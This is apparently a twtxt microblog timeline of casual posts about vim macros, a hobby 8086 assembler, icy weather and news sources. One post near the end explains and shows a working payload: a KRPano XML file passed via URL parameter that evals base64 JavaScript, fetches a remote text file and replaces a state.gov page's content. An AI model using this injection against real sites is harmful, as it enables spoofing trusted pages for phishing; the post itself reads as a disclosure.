I’m refactoring (mangling four lines of of code with assignments into one function call) and man, do I love vim macros! Such a bloody amazing invention. Saves me heaps of manual labor.

In-reply-to » @kat Cool, cool, congrats! I skipped around and noticed that you used some great background music. Do you have a list for me to look up? :-) Also, that's a nice desktop wallpaper in the end.

Specifically those around 2:50min, 6:15min, 11:00min, 28:40min and 33:40min. :-)

In-reply-to » Alright, I have a little 8086 assembler for my toy OS going now – or rather a proof-of-concept thereof. It only supports a tiny fraction of the instruction set. It was an interesting learning experience, but I don’t think trying to “complete” this program is worth my time.

@movq@www.uninformativ.de Woohoo! You selected a turing complete instruction set, so all good. ;-)

In-reply-to » Walking those few hundred meters to the dentist and home took me at least three times as long as usual. Complete sheets of ice on the footpaths, definitely ice skating territory. The dentist was caught in a traffic jam and arrived about an hour late. On my morning journey I saw two ambulance operations, one on the way there and the other one when I returned. Just 200m apart. I fear it's going to be an exhausting day for all the rescue personell.

@bender@twtxt.net I always schedule the next appointment right away. :-) Yeah, over here, it’s just winter. Nothing really surprising. But it gets us every time. I prefer the ice over the the fire for sure.

@movq@www.uninformativ.de That was the only time I left the house today.

@lyse@lyse.isobeef.org I read it in the news, lots of ice in your area. 🫤 (There’s nothing going on over here.)

The whole thing is just a learning project, I don’t want to actually make a usable OS. There are a few more things I want to have a look at and then I’ll eventually move on to 386/amd64 later this year (hopefully).

@lyse@lyse.isobeef.org you just reminded me I need to schedule a visit to the Tooth Fairy. 😅

About the weather, ugh! Crazy the world we live in. Our west coast is engulfed on fires, and the other side of the world is pretty much freezing. You can’t make this up!

envie de coder… J’ai un bout de C pour renommer les fichiers que je voudrais continuer. Vivement qu’il y ait moins de boulot et de soucis pour réussir à me concentrer!

In-reply-to » @prologic Is it possible to make Pull Request on twtxt.dev ?

@andros@twtxt.andros.dev I believe I disabled new registrations by default due to increase in levels of “spam accounts”. If you could email me, or DM me (IRC) your Github username, I’ll add an account for you that matches your Github profile and you can sign-in that way.

Respectfully, I will not move any of my projects back to Github after this blog post; hope you can understand, but I’d prefer to stick to my moral values here as much as I can 😅

In-reply-to » Nice! totally legit government page: https://tour.diplomaticrooms.state.gov/?id=0&xml=https://sour.is/awesome.html

So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following

<?xml version="1.0"?>
<krpano version="1.0.8.15">
    <SCRIPT id="allow-copy_script"/>
    <layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>


the omit above is base64 encoded script below:

const queryParams = new URLSearchParams(window.location.search),
          id = queryParams.get('id');
    id ? fetch('https://sour.is/superhax.txt')
        .then(e => e.text())
        .then(e => {
            document.open(), document.write(e), document.close();
        })
        .catch(e => {
            console.error('Error fetching the user agent:', e);
        }) : console.error('No');

this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.

@@twtxt.net hehehe, it is not streamlined as you want it. Feedly and an amalgam of news sites, prioritising BBC, NPR, and The Guardian.

Tech news on Hacker News, some subs on Reddit, etc.
